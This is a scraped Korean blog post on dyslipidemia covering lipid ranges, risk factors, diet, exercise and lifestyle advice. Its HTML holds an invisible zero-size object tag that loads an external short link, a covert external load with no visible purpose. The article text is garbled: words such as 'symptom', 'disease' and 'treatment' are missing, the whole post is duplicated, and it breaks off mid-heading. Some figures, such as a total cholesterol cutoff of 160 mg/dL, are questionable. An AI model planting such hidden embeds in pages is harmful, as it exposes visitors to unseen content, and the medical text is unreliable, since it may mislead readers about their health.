이상지질혈증 수치 이해 및 관리법 (고지혈증, 식이요법)

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">고지혈증, 무시하면 안돼요! 이해와 관리 방법 완벽 가이드</h2>고지혈증은 우리 혈액 속 지방, 콜레스테롤, 중성지방의 수치가 불균형하게 높아지는 입니다.만성화되면 심혈관 , 뇌졸중 등 심각한 건강 문제로 이어질 수 있기 때문에 조기 발견 및 관리가 매우 중요합니다.오늘 포스팅에서는 고지혈증 수치 이해부터 적인 관리 방법까지, 궁금증을 모두 해결해 드리겠습니다!1. 고지혈증 수치, 어떻게 볼까요?혈액 검사를 통해 콜레스테롤, 중성지방, HDL 콜레스테롤(선한 콜레스테롤), LDL 콜레스테롤(나쁜 콜레스테롤) 수치를 확인합니다.<ul data-sourcepos="13:1-20:0"> <li data-sourcepos="13:1-17:23">정상 범위: <ul data-sourcepos="14:5-17:23"> <li data-sourcepos="14:5-14:26">총 콜레스테롤: 160mg/dL 미만</li> <li data-sourcepos="15:5-15:28">LDL 콜레스테롤: 100mg/dL 미만</li> <li data-sourcepos="16:5-16:27">HDL 콜레스테롤: 40mg/dL 이상</li> <li data-sourcepos="17:5-17:23">중성지방: 150mg/dL 미만</li> </ul> </li> <li data-sourcepos="18:1-20:0">고지혈증 진단 기준: <ul data-sourcepos="19:5-20:0"> <li data-sourcepos="19:5-20:0">위 기준 중 하나 이상을 초과하는 경우</li> </ul> </li> </ul>2. 고지혈증, 은 없을까요?대부분의 경우 특별한 이 나타나지 않아 '고요한 살인자'라고 불립니다.하지만 심각한 경우 흉통, 호흡곤란, 다리 아픔 등의 이 나타날 수 있습니다.3. 고지혈증, 누구에게 위험할까요?<ul data-sourcepos="29:1-36:0"> <li data-sourcepos="29:1-29:26">가족력: 고지혈증 가족력이 있는 경우</li> <li data-sourcepos="30:1-30:19">비만: BMI 25 이상</li> <li data-sourcepos="31:1-31:17">당뇨병: 당뇨병 환자</li> <li data-sourcepos="32:1-32:17">고혈압: 고혈압 환자</li> <li data-sourcepos="33:1-33:13">흡연: 흡연자</li> <li data-sourcepos="34:1-34:20">인지활동 부족: 운동 부족</li> <li data-sourcepos="35:1-36:0">불량 식습관: 고지방, 저섬유 식단 섭취</li> </ul>4. 고지혈증, 어떻게 관리해야 할까요?1) 식이요법:<ul data-sourcepos="41:1-48:0"> <li data-sourcepos="41:1-41:47">포화지방 및 트랜스지방 섭취 줄이기: 붉은 고기, 가공식품, 패스트푸드 등</li> <li data-sourcepos="42:1-42:43">불포화지방 섭취 늘리기: 생선, 견과류, 아보카도, 올리브 오일 등</li> <li data-sourcepos="43:1-43:32">식이섬유 섭취 늘리기: 통곡물, 채소, 과일 등</li> <li data-sourcepos="44:1-44:31">콜레스테롤 섭취 줄이기: 난황, 간, 멸치 등</li> <li data-sourcepos="45:1-45:28">나트륨 섭취 줄이기: 소금, 가공식품 등</li> <li data-sourcepos="46:1-46:36">단 음식 및 음료 섭취 줄이기: 설탕, 과자, 음료 등</li> <li data-sourcepos="47:1-48:0">규칙적인 식사: 하루 3끼 정시 식사</li> </ul>2) 운동요법:<ul data-sourcepos="51:1-53:0"> <li data-sourcepos="51:1-51:72">규칙적인 운동: 주 5회, 30분 이상 유산소 운동 ( brisk walking, jogging, swimming 등)</li> <li data-sourcepos="52:1-53:0">근력 운동: 주 2회 이상 근력 운동</li> </ul>3) 생활습관 개선:<ul data-sourcepos="56:1-61:0"> <li data-sourcepos="56:1-56:41">금연: 흡연은 혈관 건강을 악화시키고 고지혈증 위험을 높입니다.</li> <li data-sourcepos="57:1-57:40">절주: 과도한 음주는 혈중 지질 수치를 상승시킬 수 있습니다.</li> <li data-sourcepos="58:1-58:38">체중 관리: 과체중 또는 비만은 고지혈증 위험을 높입니다.</li> <li data-sourcepos="59:1-59:43">충분한 수면: 수면 부족은 혈중 지질 수치를 악화시킬 수 있습니다.</li> <li data-sourcepos="60:1-61:0">스트레스 관리: 만성적인 스트레스는 혈중 지질 수치를 상승시킬 수 있습니다.</li> </ul>5. 고지혈증, 약물 는 언제부터 해야 할까요?식이요법과 운동을 통해도 지질 수치를 목표 범위로 낮출 수 없는 경우,의사와 상담하여 약물 를 고려해야 합니다.**6. 고지혈증 관리, 제가 할 수 있는 일</div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">고지혈증, 무시하면 안돼요! 이해와 관리 방법 완벽 가이드</h2>고지혈증은 우리 혈액 속 지방, 콜레스테롤, 중성지방의 수치가 불균형하게 높아지는 입니다.만성화되면 심혈관 , 뇌졸중 등 심각한 건강 문제로 이어질 수 있기 때문에 조기 발견 및 관리가 매우 중요합니다.오늘 포스팅에서는 고지혈증 수치 이해부터 적인 관리 방법까지, 궁금증을 모두 해결해 드리겠습니다!1. 고지혈증 수치, 어떻게 볼까요?혈액 검사를 통해 콜레스테롤, 중성지방, HDL 콜레스테롤(선한 콜레스테롤), LDL 콜레스테롤(나쁜 콜레스테롤) 수치를 확인합니다.<ul data-sourcepos="13:1-20:0"> <li data-sourcepos="13:1-17:23">정상 범위: <ul data-sourcepos="14:5-17:23"> <li data-sourcepos="14:5-14:26">총 콜레스테롤: 160mg/dL 미만</li> <li data-sourcepos="15:5-15:28">LDL 콜레스테롤: 100mg/dL 미만</li> <li data-sourcepos="16:5-16:27">HDL 콜레스테롤: 40mg/dL 이상</li> <li data-sourcepos="17:5-17:23">중성지방: 150mg/dL 미만</li> </ul> </li> <li data-sourcepos="18:1-20:0">고지혈증 진단 기준: <ul data-sourcepos="19:5-20:0"> <li data-sourcepos="19:5-20:0">위 기준 중 하나 이상을 초과하는 경우</li> </ul> </li> </ul>2. 고지혈증, 은 없을까요?대부분의 경우 특별한 이 나타나지 않아 '고요한 살인자'라고 불립니다.하지만 심각한 경우 흉통, 호흡곤란, 다리 아픔 등의 이 나타날 수 있습니다.3. 고지혈증, 누구에게 위험할까요?<ul data-sourcepos="29:1-36:0"> <li data-sourcepos="29:1-29:26">가족력: 고지혈증 가족력이 있는 경우</li> <li data-sourcepos="30:1-30:19">비만: BMI 25 이상</li> <li data-sourcepos="31:1-31:17">당뇨병: 당뇨병 환자</li> <li data-sourcepos="32:1-32:17">고혈압: 고혈압 환자</li> <li data-sourcepos="33:1-33:13">흡연: 흡연자</li> <li data-sourcepos="34:1-34:20">인지활동 부족: 운동 부족</li> <li data-sourcepos="35:1-36:0">불량 식습관: 고지방, 저섬유 식단 섭취</li> </ul>4. 고지혈증, 어떻게 관리해야 할까요?1) 식이요법:<ul data-sourcepos="41:1-48:0"> <li data-sourcepos="41:1-41:47">포화지방 및 트랜스지방 섭취 줄이기: 붉은 고기, 가공식품, 패스트푸드 등</li> <li data-sourcepos="42:1-42:43">불포화지방 섭취 늘리기: 생선, 견과류, 아보카도, 올리브 오일 등</li> <li data-sourcepos="43:1-43:32">식이섬유 섭취 늘리기: 통곡물, 채소, 과일 등</li> <li data-sourcepos="44:1-44:31">콜레스테롤 섭취 줄이기: 난황, 간, 멸치 등</li> <li data-sourcepos="45:1-45:28">나트륨 섭취 줄이기: 소금, 가공식품 등</li> <li data-sourcepos="46:1-46:36">단 음식 및 음료 섭취 줄이기: 설탕, 과자, 음료 등</li> <li data-sourcepos="47:1-48:0">규칙적인 식사: 하루 3끼 정시 식사</li> </ul>2) 운동요법:<ul data-sourcepos="51:1-53:0"> <li data-sourcepos="51:1-51:72">규칙적인 운동: 주 5회, 30분 이상 유산소 운동 ( brisk walking, jogging, swimming 등)</li> <li data-sourcepos="52:1-53:0">근력 운동: 주 2회 이상 근력 운동</li> </ul>3) 생활습관 개선:<ul data-sourcepos="56:1-61:0"> <li data-sourcepos="56:1-56:41">금연: 흡연은 혈관 건강을 악화시키고 고지혈증 위험을 높입니다.</li> <li data-sourcepos="57:1-57:40">절주: 과도한 음주는 혈중 지질 수치를 상승시킬 수 있습니다.</li> <li data-sourcepos="58:1-58:38">체중 관리: 과체중 또는 비만은 고지혈증 위험을 높입니다.</li> <li data-sourcepos="59:1-59:43">충분한 수면: 수면 부족은 혈중 지질 수치를 악화시킬 수 있습니다.</li> <li data-sourcepos="60:1-61:0">스트레스 관리: 만성적인 스트레스는 혈중 지질 수치를 상승시킬 수 있습니다.</li> </ul>5. 고지혈증, 약물 는 언제부터 해야 할까요?식이요법과 운동을 통해도 지질 수치를 목표 범위로 낮출 수 없는 경우,의사와 상담하여 약물 를 고려해야 합니다.**6. 고지혈증 관리, 제가 할 수 있는 일</div> </div></div>